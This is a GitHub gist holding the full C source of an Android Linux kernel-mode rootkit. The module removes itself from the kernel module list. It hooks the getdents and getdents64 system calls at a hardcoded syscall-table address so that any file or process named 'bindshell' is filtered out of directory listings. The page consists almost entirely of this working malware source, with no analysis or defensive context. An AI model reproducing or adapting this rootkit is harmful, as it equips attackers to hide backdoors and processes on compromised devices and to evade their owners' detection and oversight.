Created
June 6, 2022 21:57
-
-
Save ia/13a6d7047cc5fd19eab160e0ec000cc4 to your computer and use it in GitHub Desktop.
LEGACY: Android Linux Kernel-mode rootkit // source/date: unknown
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/module.h> | |
#include <linux/version.h> | |
#include <linux/kernel.h> | |
#include <linux/types.h> | |
#include <linux/stddef.h> | |
#include <linux/unistd.h> | |
#include <linux/string.h> | |
#include <linux/mm.h> | |
#include <linux/slab.h> | |
#include <linux/sched.h> | |
#include <linux/file.h> | |
#include <linux/proc_fs.h> | |
#include <linux/namei.h> | |
#include <linux/dirent.h> | |
#include <linux/list.h> | |
#include <linux/spinlock.h> | |
#include <asm/processor.h> | |
#include <asm/uaccess.h> | |
#include <asm/unistd.h> | |
#include <asm/cacheflush.h> | |
/* | |
#define CLEAR_CR0 asm ("pushl %eax\n\t" \ | |
"movl %cr0, %eax\n\t" \ | |
"andl $0xfffeffff, %eax\n\t" \ | |
"movl %eax, %cr0\n\t" \ | |
"popl %eax"); | |
#define SET_CR0 asm ("pushl %eax\n\t" \ | |
"movl %cr0, %eax\n\t" \ | |
"orl $0x00010000, %eax\n\t" \ | |
"movl %eax, %cr0\n\t" \ | |
"popl %eax"); | |
*/ | |
#define CLEAR_CR0 | |
#define SET_CR0 | |
#define HIDE_FILE "bindshell" | |
#define HIDE_PROC "bindshell" | |
struct module *wnps_m = &__this_module; | |
struct list_head *wnps_prev_m; | |
void **sys_call_table; | |
spinlock_t wnps_lock = SPIN_LOCK_UNLOCKED; | |
asmlinkage long new_getdents64(unsigned int fd, struct linux_dirent64 __user * dirent, | |
unsigned int count); | |
asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user * dirent, | |
unsigned int count); | |
asmlinkage long new_getdents(unsigned int fd, struct dirent __user * dirent, | |
unsigned int count); | |
asmlinkage long (*orig_getdents)(unsigned int fd, struct dirent __user * dirent, | |
unsigned int count); | |
asmlinkage long new_getdents64(unsigned int fd, struct linux_dirent64 __user * dirent, | |
unsigned int count) | |
{ | |
struct linux_dirent64 *curr_dirent = NULL; | |
struct linux_dirent64 *tmp_dirent = NULL; | |
struct inode *proc_node; | |
int ret, len; | |
int hide_flag = 1, hide_proc = 0; | |
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14) | |
proc_node = current->files->fdt->fd[fd]->f_dentry->d_inode; | |
#else | |
proc_node = current->files->fd[fd]->f_dentry->d_inode; | |
#endif | |
ret = (*orig_getdents64)(fd, dirent, count); | |
if (ret > 0) { | |
curr_dirent = (struct linux_dirent64 *)kmalloc(ret, GFP_KERNEL); | |
if (!curr_dirent) | |
goto out; | |
if (copy_from_user(curr_dirent, dirent, ret)) { | |
kfree(curr_dirent); | |
goto out; | |
} | |
len = ret; | |
tmp_dirent = curr_dirent; | |
while (len > 0) { | |
len -= tmp_dirent->d_reclen; | |
hide_flag = 1; | |
if (proc_node->i_ino == PROC_ROOT_INO) { | |
struct task_struct *tsk = current; | |
for_each_process(tsk) { | |
if (tsk->pid == | |
simple_strtoul(tmp_dirent->d_name, NULL, 10)) { | |
printk("%s", "found task.\n"); | |
break; | |
} | |
} | |
if (strstr(tsk->comm, HIDE_PROC) != NULL) { | |
printk("%s", "it's our task.\n"); | |
hide_proc = 1; | |
} | |
} | |
/* check the file is our hide file. */ | |
if ((hide_proc == 1) || (strstr(tmp_dirent->d_name, HIDE_FILE) != NULL)) { | |
ret -= tmp_dirent->d_reclen; | |
hide_flag = 0; | |
if (len) { | |
memmove(tmp_dirent, | |
(char *)tmp_dirent + tmp_dirent->d_reclen, len); | |
} | |
} | |
if (len && hide_flag) | |
tmp_dirent = (struct linux_dirent64 *)((char *)tmp_dirent | |
+ tmp_dirent->d_reclen); | |
hide_proc = 0; | |
} | |
if (copy_to_user((void *)dirent, (void *)curr_dirent, ret)) { | |
kfree(curr_dirent); | |
goto out; | |
} | |
kfree(curr_dirent); | |
} | |
out: | |
return ret; | |
} | |
asmlinkage long new_getdents(unsigned int fd, struct dirent __user * dirent, | |
unsigned int count) | |
{ | |
struct dirent *curr_dirent = NULL; | |
struct dirent *tmp_dirent = NULL; | |
struct inode *proc_node; | |
int ret, len; | |
int hide_flag = 1, hide_proc = 0; | |
unsigned long hpid = 0; | |
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14) | |
proc_node = current->files->fdt->fd[fd]->f_dentry->d_inode; | |
#else | |
proc_node = current->files->fd[fd]->f_dentry->d_inode; | |
#endif | |
ret = (*orig_getdents)(fd, dirent, count); | |
if (ret > 0) { | |
curr_dirent = (struct dirent *)kmalloc(ret, GFP_KERNEL); | |
if (!curr_dirent) | |
goto out; | |
if (copy_from_user(curr_dirent, dirent, ret)) { | |
kfree(curr_dirent); | |
goto out; | |
} | |
len = ret; | |
tmp_dirent = curr_dirent; | |
while (len > 0) { | |
len -= tmp_dirent->d_reclen; | |
hide_flag = 1; | |
hide_proc = 0; | |
hpid = 0; | |
hpid = simple_strtoul(tmp_dirent->d_name, NULL, 10); | |
if (hpid != 0) { | |
struct task_struct *tsk = current; | |
for_each_process(tsk) { | |
if (tsk->pid == hpid) { | |
break; | |
} | |
} | |
if ((tsk->pid == hpid) && | |
(strstr(tsk->comm, HIDE_PROC) != NULL)) { | |
hide_proc = 1; | |
} | |
} | |
if ((hide_proc == 1) || | |
(strstr(tmp_dirent->d_name, HIDE_FILE) != NULL)) { | |
ret -= tmp_dirent->d_reclen; | |
hide_flag = 0; | |
if (len) { | |
memmove(tmp_dirent, | |
(char *)tmp_dirent + tmp_dirent->d_reclen, | |
len); | |
} | |
} | |
if (len && hide_flag) { | |
tmp_dirent = | |
(struct linux_dirent64 *) | |
((char *)tmp_dirent + tmp_dirent->d_reclen); | |
} | |
} | |
if (copy_to_user((void *)dirent, (void *)curr_dirent, ret)) { | |
kfree(curr_dirent); | |
goto out; | |
} | |
kfree(curr_dirent); | |
} | |
out: | |
return ret; | |
} | |
int hook_init(void) | |
{ | |
wnps_prev_m = wnps_m->list.prev; | |
if (wnps_m->init == hook_init) | |
list_del(&wnps_m->list); | |
printk(KERN_INFO "hi, android.\n"); | |
sys_call_table = 0xc0020ac4; | |
printk("sys_call_table: 0x%08x\n", sys_call_table); | |
orig_getdents64 = sys_call_table[__NR_getdents64]; | |
orig_getdents = sys_call_table[__NR_getdents]; | |
spin_lock(&wnps_lock); | |
CLEAR_CR0 | |
sys_call_table[__NR_getdents64] = new_getdents64; | |
sys_call_table[__NR_getdents] = new_getdents; | |
SET_CR0 | |
spin_unlock(&wnps_lock); | |
printk("install hook ok.\n"); | |
return 0; | |
} | |
void hook_exit(void) | |
{ | |
list_add_tail(&wnps_m->list, wnps_prev_m); | |
spin_lock(&wnps_lock); | |
CLEAR_CR0 | |
sys_call_table[__NR_getdents64] = orig_getdents64; | |
sys_call_table[__NR_getdents] = orig_getdents; | |
SET_CR0 | |
spin_unlock(&wnps_lock); | |
printk("uninstall hook ok.\n"); | |
} | |
module_init(hook_init); | |
module_exit(hook_exit); | |
MODULE_LICENSE("GPL"); | |
MODULE_AUTHOR("wzt"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment